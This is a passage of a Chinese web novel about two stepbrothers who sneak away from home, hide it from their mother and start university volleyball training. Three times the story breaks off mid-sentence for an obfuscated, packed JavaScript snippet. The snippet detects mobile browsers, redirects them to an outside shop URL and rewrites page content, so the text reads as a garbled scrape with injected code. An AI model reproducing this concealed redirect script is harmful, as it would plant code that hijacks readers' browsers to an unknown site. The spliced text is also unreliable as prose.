“我想吃虎坊桥的小笼包和鲜肉馄饨,三元里的生煎包也行,最好夹着蟹粉。我还想吃麦当劳的薯饼和肯德基的吮指原味鸡,大的那种,还要……”乐星回的点餐被陶最的笑容打断,侧面凸显他哥的虎牙,尖得能在乐星回心里扎出血珠,“你笑什么?” “东市买骏马,西市买鞍鞯。”陶最的鼻梁在枕头上压出一个完美的L。 “南市买辔头,北市买长鞭?”乐星回对对子。 话音刚落,床头柜上的手机震动起来,压着两张身份证。乐星回那张连妙蛙种子都给脱了,看惯了它穿衣服,现在只觉得它赤身裸.体,怪羞耻的。 “怎么办,怎么办啊,是我妈!”乐星回看着手机屏幕上的来电人。妈妈这时候肯定起床了,发现睡房没人,“完了,完了,怎么办……” 陶最微抬了抬脖子,将乐星回的手机拿了过来。“喂?阿姨。” 短短几秒声音已经没了困意,清醒无比。一只手将promax手机遮天蔽日。 7. 我主攻手 乐星回立马红了脸,但这不是出于害羞,而是紧张。 虚张声势的背后是难以启齿,他并没有大胆到瞒着妈妈出来“鬼混”。他全部的胆量都被他哥攥在手里,手指翻动间就是一个底儿朝天。趴在陶最后背上,这也是乐星回小时候最喜欢的姿势。 从他有记忆开始,他的摇篮就是哥哥的身体。 孙晴在那边急得嗓子破音:“小最?你和乐乐在一起是不是?他屋里空着,我叫他起来吃早饭,屋里空着……” “没事,没事。”陶俊梧轻拍她的后背,实则也慌着。一觉醒来陶最不见,这对陶俊梧来说已经是家常便饭,看不住也管不了那孩子。他高三开学没多久就过18岁生日,生日先在他妈妈那边过,又回来和他过,从此更像一阵风了。可是乐乐不见,这实属第一次,给夫妻俩吓得白了脸。 “小最他带着弟弟呢,没事。”陶俊梧又劝。 “你和乐乐在一起是不是?”孙晴急出泪花。 “是,在一起呢,你们放心。”陶最心无旁骛地回答。 孙晴紧绷的神经刹那间松了劲儿,才发觉刚刚一直在咬紧牙关,后槽牙都咬麻了。“那就好,谢天谢地……那就好。你们干什么呢?怎么走了也不留个纸条?” 乐星回听得一清二楚,要怪只能怪房间太安静,而自己对妈妈的声音又太熟悉,任何音节都是基因里的链接。昨晚的得意顿时一扫而空,对啊,自己应该留个纸条,怎么能让妈妈生这么大气。 “走得太着急,忘了。我带他出来晨练呢,跑跑步。”陶最往后看了一眼。 乐星回那明显带有酒醉的眼皮眨了眨,双眼皮肿着。只听陶最又说:“快开学了,提前找找状态。” 乐星回第一次对陶最说谎话的能耐竖起大拇哥,怎么能做到这样冷静又合理?听着就像八百年前就想好了怎么撒这个谎。这下孙晴是百分百放了心,揉着发麻的嘴角笑了笑:“原来是这样,怪我,怪我太小题大做。乐乐呢?你们几点走的?” “凌晨五点多吧,平时晨练习惯这个点。他现在做引体向上,不能断。”陶最停顿了一下,“我看着他呢,没掉下来。” “还得是你。”孙晴眼前出现了一个准确的画面,单杠上的乐乐正在努力蹬空气。这也是乐乐最喜欢做的练习,因为他不知道从哪里听来的,说引体向上能长高。所有信息点都对得上,孙晴便说:“那你们先练着,阿姨不打扰你们了。一会儿回来吃饭吗?” “我带他在外头解决吧,他要吃得挺多。”陶最说。 乐星回看着冒出细小汗珠的鼻尖,变成了一个对眼。等通话结束,他马上承认错误:“我确实应该留个纸条。” “嗯,纸条写‘我出去喝长岛冰茶’。”陶最把手机放了回去。 “才不是!”乐星回又想捶陶最了,“就说……就说我们去晨练。”考虑到妈妈那边着急,乐星回又问,“咱们几点回去?听说酒店中午12点要办理退房,是不是?” 陶最心领神会一般:“知道得还挺多。” “我听别人说的。”乐星回又变成了矢口否认的神情,“咱们什么时候走?” 陶最的一只手伸向枕下,乐星回猜他要摸烟盒和打火机。他的手也跟着往枕下摸,果不其然摸到了:“你是要说‘抽完烟就走’吗?” “不是。”陶最吸了一口气,“我睡够了再走。” 乐星回说不清道不明又讨厌他了,讨厌和喜欢是双胞胎,两者都存在,生下来就是好朋友。他喜欢陶最带他玩儿,但又讨厌他太过自我,他在回答别人的问题时很少说“你”,但是一旦这个问题和他有关系,他的“我”就出来了。 因为别人的“你”他不在乎,自己的“我”可太重要了吧? 他怀疑陶最就是一个祸害,也是一个磨炼,是上天派来,留给自己升级的关卡。一旦有一天自己将这个难关攻破了,不在乎了,他的精神状态才会level up,想着这些难过的点,乐星回也学着他侧躺,只不过背肌的硬度不像枕头,无论如何他都留不下一个L。他有时候还觉得陶最是一片流动的沙子,就算自己拿着小木管在上面写一万个字,等风吹过来,也就没了。 “陶最。”乐星回都把自己给想得虚弱了,他只字不提心里的字,“我想打主攻手。” “打啊。”陶最说。 “我真能打吗?”乐星回的眼睛失去了一部分光彩。 陶最睁开眼睛,眼下还是有黑眼圈。乐星回想摸一下,黑眼圈真神奇,居然和他哥的气质如此契合?这不会是陶最的纹身吧?他专门用来勾搭别人吗? “和我偷跑出来的时候,你怎么想?”陶最将头偏了偏。 乐星回将干瘪的身体薄薄一片贴在他后背上,专心致志当小薄片,尽职尽责当小挂件。“我想着……我好高兴。” “喝酒的时候怎么想?”陶最继续问。 “高兴,终于能喝一次那个酒了。”乐星回回忆着酒水的滋味,只不过这滋味里混杂了一部分雨水的气息。不是酒保的手艺问题,是他旁边坐着一个引起他滂沱大雨的人。 “这两件事都能做主,为什么轮到真正的大事就没主意了?”陶最动了动腰。 应该是自己给他压麻了,但贪婪的乐星回不打算换地方:“你的意思是……让我自己拿主意。我知道你的意思,只是我想听听你的意见,或者教练的意见。我怕……” “我的意见就那么重要么?”陶最忽然盯住他。 乐星回感觉到身体两股力量在决斗,他被陶最丢进了古罗马的斗兽场。他是奴隶角斗士,他哥是坐在台上的贵族,面前是猛兽,雄狮、老虎、黑熊那一类,进退都只和自己有关系,再亲密的人都只能旁观。 “也有些重要的。”乐星回此时此刻这样觉得。 “别人的意见永远不重要,你的才重要。”陶最这样直白,“我,我爸,你妈,其实都不重要。” “可是……”乐星回试探地问,“如果我打主攻手,大家都反对,你会支持吗?” “我支持不支持其实也不重要。重要的是你。”陶最打了个哈欠。 乐星回半知半懂地点点头,忽然又问:“你这次出现是永久性的吧?你还会消失吗?我一睁眼你就没了的那种消失?” 陶最闭上了眼睛,笑着说:“世界上没有什么是永久的,你先想想一会儿吃什么。” 讨厌,讨厌讨厌讨厌!乐星回重重地捶了他哥一拳,力道很大,像种蘑菇一样留下一个圆圆的圈。陶最也不给他反应,好似被小虫子啃了一口,乐星回的粉色头发落在红圈旁边,他认为很般配。 不一会儿,陶最真的睡着了。 乐星回股涌着去拿手机,点开了大一男排群。他没有在群里说话,而是直接点进了个人页面,点开了“我在本群的昵称”,变成了第一个更改群ID的队员。 [乐星回-主攻手] 改完之后,他赶快将手机丢了出去,这个决定太大了,比抽烟、喝酒、夜不归宿都要大,是自己和自己的事情。是自己要负责的事情。 陶最在10点多醒来,带乐星回离开了酒店。他们找了个地方吃早饭,应该算早午饭了,乐星回饥肠辘辘,哪怕不喜欢喝粥的他都食指大动。“陶最,你什么时候加班级群?” “上大学还有班级群呢?”陶最看着手机。 “当然了,只要是学生都有学生群。”他咬了一口鲜肉包子,试探性地问,“将来你要是结婚……有了孩子,还有家长群呢?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875575|191890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么麻烦?”陶最喝了一口豆浆。 “可麻烦了,现在当家长可累可累,要辅导作业,要给孩子报兴趣班,比咱们小时候的家长累。”乐星回试图吓退陶最,让他这辈子都断了结婚生子的念头,最好就和自己打一辈子的排球。 陶最只是又喝了一口豆浆,问:“你一会儿怎么回去?” “我?”乐星回快疯了,“你不和我一起回家?” 陶最给乐星回拿了一个小笼屉,里面是虾饺:“回啊,没说不回。” “是今天不回还是以后不回,你是不是又要走?”乐星回什么虾饺都味同嚼蜡,“你还会回来吗?你不能骗我,骗小孩儿要坐牢。” “哈哈。”陶最笑意浓了很多,“会回。” 乐星回感觉自己跟留守儿童似的,就盼望着他哥回家看看,然后再也不走。他总有那么多问题,你这些天不回家要去哪儿?你什么时候拿生活用品回家?九月一号你总要去学校的吧?可是陶最给他叫了网约车,把他本人和问题一起打包,塞进后车厢。 “我到家给你发消息!”乐星回扒着车玻璃喊。 陶最摆了摆手,没看见点没点头。 骗子,乐星回就知道陶最是个骗子,给自己一场美梦然后开溜。他的世界太大,从平原到高山,哪天他去神农架当野人都不稀奇。等乐星回到了家,妈妈和陶叔叔完全没怀疑他出去“鬼混”,陶最虽然不着调,可他的可信任度还是不错。 当然,这个可信任度是对他们而言,对乐星回,他说话就是放屁。 这一天晚上,陶最就没回来。 之后的两天,陶最还是没回来,乐星回憋着气也不给他发消息,颇有鱼死网破的决心。他发誓,自己要做一个能拿主意的人,再也不主动联系陶最,他的消息也不会秒回。 一眨眼到了九月一号,连绵的雨天终于停了。 开学这天是个大晴天,天公作美,把九月最好的天气捧出来,欢迎大一新生入校。妈妈和陶叔叔想送他,乐星回执意要当大人,背着书包坐上了地铁,奔着北京体育大学去。 北体,很辉煌的地方。 校园好大,乐星回高三时候来参观就发现了,各种各样的场馆层出不穷,连马场都有!一进入北体,乐星回的身高就开始严重缩水,又成为了小个子。他穿着新衣服,顶着高调的发型找排球馆,摸去教练办公室报到。教练不在,只有几个同学在,都是军训认识的兄弟。 “我来啦!”乐星回像太阳一样冲进去。 先回头的人叫萧池,身高203,寸头,胸肌像是能把全队都奶活,说话却特别柔和:“乐乐你染头发了?” “染啦染啦!好看吧?”乐星回可喜欢萧池,萧池还是教练内定的队长呢,看着凶,其实特别温柔,军训时候还给他们洗衣服。 “好看。”萧池点了点头,又问,“你哥呢?他怎么没来?” “对啊,你不是说咱们队缺军训的那个是你哥哥吗?你俩怎么没一起来?”旁边的兄弟问他。 乐星回局促不安地揪着书包带,他的大话已经吹出去了,没来的那个,叫陶最的那个,是自己哥哥。你们等着吧,等开学那天他一定跟着自己来。大家的疑问让他不知所措,别说回答了,他恨不得收回大话,就当不认识陶最。 “我……我……”乐星回吞吞吐吐,烫出来的卷发肉眼可见地耷拉下去。 所有人的目光都集中在他脸上,等他解释。乐星回哑口无言,不知不觉中却发现他们的目光开始往上挪,集中点已经不在自己脸上,而是在自己脑袋顶上。 乐星回转过身。 消失的陶最站在他后面。 乐星回不留痕迹地抿了下嘴,窗外的放晴到此为止,陶最在他心里下大雨。 8. 拒绝男嫂子 突然消失又突然出现,乐星回永远不会习惯陶最的神出鬼没。 “你是……”萧池军训时晒黑不少,笑起来牙齿洁白,更加憨厚淳朴,“你就是乐乐的哥哥吧?” 虽然兄弟俩没有直接交流,但在场的人都能看出乐星回认识他。对于乐乐的这个哥已经早有耳闻,军训时宿舍里进行“男生夜聊”,大家聊的不是自己高中时候不敢表白的白月光女孩子,就是体考时遇上的关系户或者紫微星。 不甘不服的遗憾充斥在宿舍里,给每个人的军训迷彩服都笼上一层名为“称兄道弟”的色彩。这一夜夜的心门打开加深了友谊羁绊,只有乐星回,这个每天比太阳还要灿烂乐观的小不点儿,他什么都不说。 笑起来最甜的男孩儿拥有着最大的秘密,他总是趴在枕头上出神,发愣。萧池那阵子额外关注乐乐的心理状况,担心他是想家,是第一次参加集体活动的小公子,不合群。 他们这些各路省队的身份,每个人都是小小离家住宿生。等萧池问了又问,乐星回才真挚地打开了话匣,从此一发不可收拾。 他聊他的哥哥。他认认真真地告诉他们,全队缺席的那个陶最就是他哥。笑容再次灿烂起来,乐星回几户全盘托出,在有限的时间里讲述了无限的兄弟情。以至于他们都不认识陶最,却熟悉了陶最,他立体鲜活地参加了军训,只是人没来。 终于见到了本尊,萧池对真人的第一印象却和乐星回的讲述南辕北辙。他很冷淡,没有乐乐说的那么热情。 “我在这里报到么?”陶最看了屋里一圈,最后定格在乐星回头顶的发旋上,“头发掉色了?” 乐星回刚要开口,却生生忍住了这份好奇心。他才不要关注陶最的动向,对这个人这些天的“野人行径”毫不关心!从今天开始,自己就是一个自私冷酷的人,才不要什么虚假脆弱的兄弟情! 但他的头发确确实实掉了颜色,粉色留不住太久,已经从嫩粉色往灰粉色转移。萧池上前两步,安抚性地揉了揉乐星回的脑袋:“掉色了也好看,时髦。” 乐星回碎成稀里哗啦的心情又被拼起来,点了点头。 “这真是你哥?长得真不像。”又有人走了过来。 一过来就来了两个,同卵双胞胎,一个叫方飞羽,一个叫方丰羽。乐星回总是分不清他们,双胞胎不是很不喜欢被人认错吗?总会弄一个专属自己的特征出来。可方家兄弟不是,他俩仿佛下定决心要当“Ctrl+C”和“Ctrl+V”,混淆全人类。身高也是199和198,1厘米的身高差肉眼不可见,乐星回羡慕他们,自己好矮小。 方丰羽右手搭着萧池的左肩膀,方飞羽左手搭着萧池的右肩膀,两人“挟持”着队长,3个人组成一面墙。虽然目前大家的首发位置没定下来,乐星回已经心里有数,方家兄弟打得都是副攻手。 “萧队,你也不能太偏心,总是围着乐乐转吧?”方飞羽把萧池拉过去。 “你们别闹……”萧池摇了摇头,“陶最是吧?咱们先登记吧,然后我安排人带你熟悉校园。乐乐?你带你哥去逛?” “我不要。”乐星回拒绝。 拒绝之后他便听到了锣鼓喧天的心跳,他永远当不了高雅的气质男人,讨厌陶最就不想理他。萧池苦恼地看着他们,不明白兄弟俩到底发生了什么误会,要是关系持续恶化,将来打比赛…… “宿舍分配好了么?”陶最像是刚梦游回来。 萧池顶着一张狠辣的凶脸揉手指头:“这个,宋教练还没吩咐我。” “宋教练?宋忍对吧?”陶最想了想,“宋忍今天不来?” “宋教练每天都来,他得做一下心理准备。”方丰羽看上去比弟弟方飞羽稳重,没有弟弟那么桀骜不驯,“宋教练他……” “他有社交恐惧症。”方飞羽掐着萧池的屁股说。 这几乎是业内的公开“笑话”,一个大名鼎鼎的排球主教练,退役于中国国家队,当打之年的排球副攻圣手宋忍,本人性格就和他的名字一样忍辱负重。谁也不知道当年他为什么年纪轻轻离开了国家队,众说纷纭,都说他是被人排挤,站队失败,所以草草断送了前程,哪怕当教练也进不了省队。 别人家教练对着队员们大呼小喝、下达命令,宋忍居然不好意思和一群孩子们见面,这会儿在教职员员工宿舍里给自己做心理暗示呢。乐星回支棱着肩膀,试图在一堆两米巨人里增加存在感,然而他的身高将他的趾高气扬缩减一半。 “队里的队长是谁?”陶最靠着门框问。 乐星回真想亲手关上门,用厚重的门挤陶最一下,最好给他手指挤出一个大红包。他怎么会不知道萧池就是队长,他就是故意的,非要人家再告诉他一次。 “是我。”萧池没那么自信,“目前,临时的。” “既然临时的队长是你,就可以分配宿舍吧?”陶最扬了扬下巴。 萧池是个温吞性子,头一回被人赶鸭子上架,陶最还真是不好接触。“宋教练……” “宋忍也拿不定主意,队长可以拿吧?”陶最并不缓和,“队长是白干的?” 萧池心里怅然失落,终于理解了乐星回方才的沉默。在北京人生地不熟,他唯一认识的人只有从小一起长大的方丰羽方飞羽。因为会照顾人,宋教练莫名其妙就让他当上这个队长,然后宋教练就跑没影儿了。 一个扛不住事的主教练,总不能再选出一个扛不住事的队长吧?那他们队伍怎么办? “现在303空着,你住303吧,乐乐你也住303,兄弟俩互相照应。乐乐,你现在带你哥去取训练队服,再带他回宿舍看看,需要什么马上准备,一会儿开会。”萧池说完脖子都红了。 “我……”我不想和他住一个宿舍,也不想带他逛逛。乐星回话未出口,身后存在感本身就不强的人已经没了,他连忙跟上陶最的步伐,抱怨的情绪一触即发。 “你怎么不说一句就走?”乐星回怀疑双眼皮都被他气得水肿。 “我说了会回来啊。”陶最还是背着那个包。 乐星回刚刚是眼睛难受,现在是关节难受,陶最总能深扎在他的痛点上。他张望地打量他,试图看过陶最朦胧的气质看清他的动向,看出他这几天究竟干了什么,和谁在一起。 “你这两天去找宋锐了?”乐星回猜测。 “对啊。”陶最的回答像搪塞。 “你们干什么去了?”乐星回带着他去另外一间办公室。这间办公室偏向于仓库,有专门的老师负责登记和发放。北体大的训练队服是黑白两色,一共四套,春夏秋冬都有。到了冬天还能来领学校统一派发的羽绒服。 两个人一起领了夏季训练服、黑色斜跨运动包、水壶、运动毛巾等等,乐星回才等来了陶最的答复:“大人的事情小孩儿别掺和。” “我不是小孩儿。”乐星回明智地计算,“明年初我就成年了,陶最,你不要忘记我的生日,你要是敢忘记我会打死你。” 陶最瞅了一眼他的小卷儿,笑着问:“给你烫头发的Tony是不是骗小孩儿呢?烫这么乱七八糟?” 乐星回瞪了他一眼:“这是最新的烫发,Tony老师刚从韩国进修回来!他说韩国爱豆都烫这个,很流行的。” “收你多少钱?”陶最停在一棵茂盛的树下,背后就是北体最出名的神树。很多人跑这里打卡,乐星回在今年4月份来探校,那时候对此不屑一顾。现在他哥往这里一站,漫画似的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875576|191890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他立即明白这棵树神在哪里。 “1500,连染带烫。”乐星回垫着脚说。 黑白两套训练服,陶最拿了黑色的,他也拿黑色。在排球阵容里,颜色不一样、相反的那套是自由人的专属,其余5个人是一个色,自由人单独一个色,像被割舍在外。乐星回本能排斥白色那套。 “贵了。”陶最笑着摇头。 “已经打了折扣!”乐星回据理力争。 “钱花得差不多了吧?”陶最像被日光刺了一下眼睛,眯了眯。乐星回是背光,目不转睛。 陶叔叔很有钱,妈妈是普通上班族,两个人的经济差距比较大。而且他们是重组家庭,又都有孩子,钱这方面变得格外敏感。乐星回不知道妈妈和叔叔的钱是不是分开,反正他的零花钱都是妈妈给,她不要陶叔叔的。乐星回在家里的吃穿用度一直不缺,钱却没有多少,就是普通学生的水平。 开学前买衣服、弄头发、置办宿舍,都是用零花钱。这会儿的乐星回穷穷的。 “才不是。”但乐星回要装得富得流油。 他也不知道陶最信不信,管他信不信呢,陶最一辈子都是神游状态。两个人顺着郁郁葱葱的绿树一路走回宿舍,乐星回滔滔不绝地讲着军训的事,把每个队友的状况都讲了一遍。训练马上步入正轨,他也怕陶最和大家熟不起来。 等进了303,陶最放下包,转过来问:“方丰羽和方飞羽是打副攻的?” “目前没定呢,但他俩一直都是双排副攻,很有默契。我总分不清他俩,有时候这个吓唬我一次,那个又吓唬我一次。”乐星回想到哪里说哪里,“陶最,我严肃警告你,你不要欺负萧池,你别到处散德行。” “谁欺负谁?”陶最摸了下床梯,搓了搓指尖的灰尘。 “你欺负他,我会不客气。萧池晚上给我掖被子,给我洗衣服,连我不合适的皮带都是他帮我打孔。”乐星回说。军训用的皮带对别人正好,对他太宽松,教官忙得顾不上他,萧池捡钉子,借打火机,愣是手按了几个孔给他。 “好。”陶最打开包。 “方丰羽是哥哥,方飞羽是弟弟,他们和萧池是发小,体校冲上来的。3个人6岁住校,萧池一个人照顾他们俩。”乐星回说着说着,探头去瞧陶最的包,“那个是什么啊?” 包里有一个正方形的礼盒。 乐星回顿时眼红:“你给谁买的礼物?” 陶最看了一眼他的脸:“你要不要?” “我不要。”乐星回干巴巴地说,两三步过去抢过来,直言说,“这是什么?好难看啊……是皮质的手环吗?陶最,你不仅俗气,你还很不会挑礼物。女孩子不会喜欢这种皮质的手环,女孩子喜欢珍珠。” 说完他马上又补充:“你是送给男生的吗?你别给我找男嫂子。” 陶最靠着床梯一直笑,笑得捂住了肚子。“真找了你怎么办?” “我……我……”乐星回已经拆开包装,把黑色的皮质手环扣上腕骨,这和军训皮带有一拼,太宽松,他要绕两圈,“我要当着你的面,绿了你!我,我亲他,舌吻他,我……我们做那种事。” “好可怕。”陶最弯腰捡起地上的包装盒,再晚两秒,包装盒一定被乐星回踩瘪,“你说这么多话累不累啊?” “果然是嫌我话多。”乐星回垮了小脸,但确实是有一点累。 他从小身体就不好,感冒发烧专业户,心率也快。记忆里陶最没病过,自己每次换季都要请假,妈妈同意他学习排球也是希望体育强身。累了会出汗,出汗体温高,乐星回经常没察觉,能察觉到已经浑身红了。 不知不觉中,他手腕的黑色皮质手环已经变了颜色,红了一整圈。 9. 不要找到自己 “它怎么红了?”乐星回亲眼目睹它变色。 皮质的手环给他绕了两圈,戴在腕口还是明显宽松。银色按扣倒是小巧迷你,冰冰凉凉。乐星回心里嘀咕,陶最的审美简直没救,差劲透顶。现在很多人都是单身主义,月老的kpi不能完成,他哥的相貌就是月老用来冲业绩的,但即便是这样的脸也不能送这么朴素的礼物吧? 方才只是红了一圈,现在一圈半都变了色。 “这是温变的?”乐星回口干舌燥。他不再和陶最掰持,而是安安生生地找水喝,包里刚好有一瓶矿泉水。拧开白色瓶盖,乐星回很熟悉这难受的感觉,身体烧起来似的,再过一会儿他脸色都要变红。 虚弱的身体即便已经养好还是留下了不好的基底。乐星回幼年时最鲜明的回忆就是去医院,还做过雾化。爸爸家的亲戚说他是胎里弱病,都怪妈妈没生好他,可乐星回只觉得是自己抵抗力弱,长大会好。 “温变的。”陶最的笑容已经没了,帮他调整了一下松紧,“你不能说太多的话。” 乐星回大口呼吸着,自己没有哮喘,但太激动容易难受:“你……” “手环变红,就说明你该住嘴了。”陶最停顿了一下,又说,“每个人每天说的字数都有限,超标了肯定不舒服。” “……我没超标。”乐星回反驳。陶最就是不喜欢听他说话吧?他心虚地看了他哥一眼:“你好烦。” “你应该知道,比起心率过速你更明显的症状是升温。小心点儿。”陶最看着他心虚的眼睛,忽然笑了笑,“真神奇啊,世界上居然有你这么能说的嘴。” 乐星回的心虚即刻转化为不爽,他屏住呼吸又加快呼吸节奏,尽量调整好身体的舒适度。要不是现在开始难受了,乐星回还有很多话要说,要倾诉,如果你早点来找我,我不就能心平气和说话吗?如果你没有无缘无故消失,我就不会这样紧张兮兮地盯着你,生怕每次见面都是最后一面。 将近五六分钟的安静,手环重新变成了黑色。乐星回又好了:“你去神农架当野人吧。” “好。”陶最看着他明显掉色的头发,“你别去湖北找我。” 乐星回的恼怒烟消云散,无精打采地站着晃了晃。“下次再见面,你就在科学报告里。” “对,几十年前的神秘脚印也是我的杰作,我闲得没事干。”陶最又一次靠在了床梯上,指了指床上一穷二白的床板,“野人也要铺床,学校附近应该有商店吧?” 乐星回喝完了半瓶水,旋转地拧上了瓶盖:“我带你去可以,但你不要再消失了。” “你带我去可以,但你路上不要再说话了。”陶最指了指手环。 讨厌,就是嫌自己话多。乐星回只能答应一半,路上保留百分之五十的沟通欲。其实他也不是话很多的男生,他深刻怀疑自己是憋坏了。一切都是陶最的错,他把弟弟丢下3年,一声不吭就走。这些话是3年的反噬,是没法管理的执着。他们没有重逢的尴尬,只有见面后略带陌生的熟络。 但乐星回也得承认,没那么激动之后,确实舒服得多。 等他们赶到学生用品商店时,天居然阴沉下来。乐星回像骑着一颗巨大的水分子,在天空飘飘然。陶最买东西,他喝着口感柔软的草莓果泥奶昔等着,看落地窗外匆匆而过的车辆。北体的街景因为陶最的到来多了水分,也多了欣喜。乐星回掐了掐脸蛋,缥缈的幸福不是做梦。他亲眼看着离开的陶最回来了。 当年他打包离开家,现在他要打包离开商店,去303宿舍里再安一个家。 乐星回开心地替他挑选牙刷、牙膏、毛巾、拖鞋……反正都挑选一样的,要身体力行向队友们证明他们的兄弟关系。他还拿了陶最的手机,逼着他进入了班级群和排球群,鼻腔里是土壤和根茎的特有气味,乐星回心里确定,这回他是真的给陶最绑住了。 用责任、用学生身份、用队内任务,各种手段齐发。陶最飘着,能让他落地的支点越多越好。 回到303,宿舍里又多了一个,萧池来了。“你们的东西买齐了吗?” “差不多!”乐星回展示手里的塑料袋,“这是我的,这是我哥的。池哥你住哪屋?” “池哥……”刚进屋的陶最笑了一声。 萧池也不好意思地笑笑,挠着后脑勺说:“军训时候大家对过年龄,我当时确实是老大哥。不过乐乐说你年龄更大些。” “他什么都说。”陶最拿出两大包消毒纸巾。 “他说了很多你的事。”萧池没看到乐星回的摇头晃脑,心想着兄弟俩其利断金,可不能让他们生疏,“以后我也住这屋,咱们多多关照。” “也住?”陶最一下子转过来,“方丰羽和方飞羽同意?” 乐星回一听,立即昂着脑袋看萧池,如果不昂着他刚好和池哥的胸肌对视。只是他不懂陶最为什么这样问,池哥想要住哪屋都是他的个人自由,况且他还是队长,他就算串宿舍住也是可以的吧? “这……我会和他们商量好。”萧池反而轻车熟路地接下去。他自作主张到303主要是不放心乐乐,怕他这个难以招架的兄长欺负他。 “哦,那好。”陶醉点了点头,开始铺床。 乐星回拗不过萧池的友善之手,床上的全部细节都是萧池帮他。铺平后他躺下试试,没有家里的床舒服,但远比军训时的住宿条件要好。唯一让他不满意的,就是体院加长、加宽的床板更加暴露了他的短板。他亲眼目睹陶最和萧池的体量,自己的双腿短了那么一大截。目前为止,宋教练也没通知他们换ID,群里就他顶着“主攻手”的名号招摇过市。 他闭上眼睛休息时,眼前林林总总晃过很多主攻手的身影,其中就有初中时期的自己。 “剩下的床铺我打算给赵锐安排进来。”等陶最的床帘也安装好了,萧池公布,“乐乐,赵锐和你睡顶头位置,可以不?” “可以。”乐星回把小脑袋转了过来。 这也是萧池的苦心,赵锐和乐乐是初中、高中同学,军训时形影不离。这下宿舍里都是乐乐比较熟悉的人了,相处会很轻松。等一切都尘埃落定,303的房门被人敲响,不等萧池去开门,门被人咣当一脚踹开。 乐星回吓得一个激灵,爬起来。 陶最看向门口。 站门外的就是方家兄弟,只不过方丰羽的手还在做敲门动作,方飞羽就踹了一脚。萧池连忙出去,还不忘记带上了门,乐星回看着他们仨,眼前的画面有些失真,搞不懂到底怎么回事。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875577|191890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 陶最不知道什么时候下了床,站在他床边。“赵锐这些年怎么样?” “啊?”乐星回回过神,“他都195了。” 他哥的发小叫宋锐,自己的发小叫赵锐,好奇特的缘分。但宋锐不打排球,赵锐可是和乐星回一点点打出来的铁兄弟。初一时乐星回比他高多了,之后赵锐一发不可收拾。 “打什么?”陶最又问。 “打二传,他一直都是二传。”乐星回捏着空调被,“池哥怎么出去了……” “二传都不是什么好人,你别让他给带坏。”陶最笑了笑,“二传就是心脏。” 乐星回不干了,誓要维护自己好朋友:“你也打二传啊……”他记得陶最一直也是二传手,承担队内CPU的工作。 “我说我自己是好人了么?”陶最毫不客气,骂自己和骂别人一样没有心理负担。 乐星回哑口无言,也是,陶最不是好人,他也不会为了什么好听的名声去当好人。他哼了一声,躺下后背过身去,给他哥一个小小的背影。反正以后303有池哥和赵锐,有人陪着他刷牙洗脸洗衣服,他或许就不再那么需要陶最的陪伴。 这一哼,乐星回直接睡着了。等到他再次睡醒,303空空荡荡,只有他。赵锐的床铺倒是铺出了规模,显然是他睡觉时弄的,他点开手机,宋忍教练半小时前发了消息,说大家去排球馆开会。 宋教练终于克服了心理难关,打算见人了?真不容易啊。乐星回脑袋晕晕的,刚想抬手摸了摸额头的温度,随意一瞥便心惊肉跳。 两圈手环都变成了红色! 乐星回摸着浅红色的面庞,又摸了摸后颈皮肤。他坐着出了一会儿神,大事不好的预告开始上演。或许是今天说了太多的话,或许是最近阴晴不定的天气,再或许是那一杯草莓果泥太冰……乐星回发烧了。 手机再次震动,萧池在群里@他,让他睡醒了就来排球馆集合。有人提议干脆去宿舍找人吧,萧池便没再回复。这不再回复的含金量拥有杀伤力,显然池哥要来了。乐星回深一脚、浅一脚地下了床,眯着烧肿的眼皮到处瞧瞧。 他不能让大家发现自己是个禁不起风吹雨打的病秧子。 别人家主攻都是铜墙铁壁,自己身高已经吃亏,体格不能再有短板。乐星回不确定池哥是不是已经到了楼下,总之现在的自己没法见人,情急之下,乐星回打开了衣柜门,毫不犹豫地钻了进去。 关上柜门的这一秒,乐星回已经大汗淋漓。 他的世界开始真正失真,衣柜里的樟脑球味道也没法让他坚持清醒。乐星回将滚热的额头抵在金属柜壁表面,徐徐地转动着脑筋。一会儿该怎么和大家说?自己去哪里买药?吃药前要吃什么? 吃牛角面包。乐星回想起面包的香酥,听到了303的开门声。萧池的声音紧随而来:“乐乐不在?人呢?” 除了萧池的脚步声,还有一串脚步声在宿舍里响。那串脚步声好像特别聪明,停在了他柜门的外面。乐星回埋下头,跟着池哥回来的人肯定是赵锐,但赵锐不一定能发现自己的。因为学校标配的衣柜很窄长,全队除了他,正常的体格根本塞不进去。 乐星回用新领的队服盖住脑袋,不要,不要找到自己。 10. 你欠我的 还好柜子不是全封闭,给乐星回留出了呼吸的余地。 